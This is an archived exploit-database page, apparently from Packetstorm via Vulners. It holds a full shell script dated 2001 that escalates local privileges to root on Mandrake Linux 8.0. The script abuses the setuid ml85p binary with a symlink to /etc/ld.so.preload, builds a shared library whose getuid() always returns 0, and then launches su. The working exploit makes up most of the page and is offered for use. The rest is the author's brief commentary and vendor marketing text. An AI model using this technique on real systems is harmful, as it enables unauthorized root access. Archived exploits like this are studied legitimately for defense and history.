Lucene search
K

ml85p.sh

🗓️ 18 Jul 2001 00:00:00Reported by SuidType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Exploit for local privilege escalation on Linux Mandrake 8.0 using ml85p and ld.so.preload.

Code
`Why code the exploit in C if you were just going to sprintf(); system()   
everything anyway? This is a bad exploit for a lame bug. I found this in april   
and wrote this exploit to muck around with /etc/ld.so.preload as a means of   
elevating privildges from symlink attacks locally. old news but still. this   
ml85 bug appears in Linux Mandrake 8.0. Thing is, this program is mode 4750   
root:sys so whatever...  
  
suid  
  
----  
  
#!/bin/sh  
# Exploit using /usr/bin/ml85p default setuid program on   
# Mandrake Linux 8.0  
#  
# You need to be in the sys group to be able to execute   
# ml85p.  
  
echo "** ml85p exploit"  
# set the required umask  
umask 0  
  
# get the number of seconds since 1970  
DATE=`date +"%s"`  
if [ ! -u /usr/bin/ml85p ] || [ ! -x /usr/bin/ml85p ]  
then  
echo "** this exploit requires that /usr/bin/ml85p is setuid and   
executable."  
exit 1  
fi  
  
if [ ! -e /etc/ld.so.preload ] || [ ! -w /etc/ld.so.preload ]  
then  
echo "** this exploit requires that /etc/ld.so.preload does not exist."  
exit 1  
fi  
  
echo "** creating file"  
ln -s /etc/ld.so.preload /tmp/ml85g"$DATE"  
echo "bleh" | /usr/bin/ml85p -s  
rm /tmp/ml85g"$DATE"  
  
echo "** creating shared library"  
cat << _EOF_ > /tmp/g.c  
int getuid(void) { return(0); }  
_EOF_  
  
echo "** compiling and linking shared object"  
gcc -c -o /tmp/g.o /tmp/g.c  
ld -shared -o /tmp/g.so /tmp/g.o  
rm -f /tmp/g.c /tmp/g.o  
  
echo "** rigging ld.so.preload"  
echo "/tmp/g.so" > /etc/ld.so.preload  
echo "** execute su. warning all getuid() calls will return(0) until you remove"  
echo "** the line \"/tmp/g.so\" from /etc/ld.so.preload. removing /tmp/g.so   
without"  
echo "** first fixing /etc/ld.so.preload may result in system malfunction"  
su -  
echo "** cleaning up"  
> /etc/ld.so.preload  
rm -f /tmp/g.so  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jul 2001 00:00Current
7.4High risk
Vulners AI Score7.4
18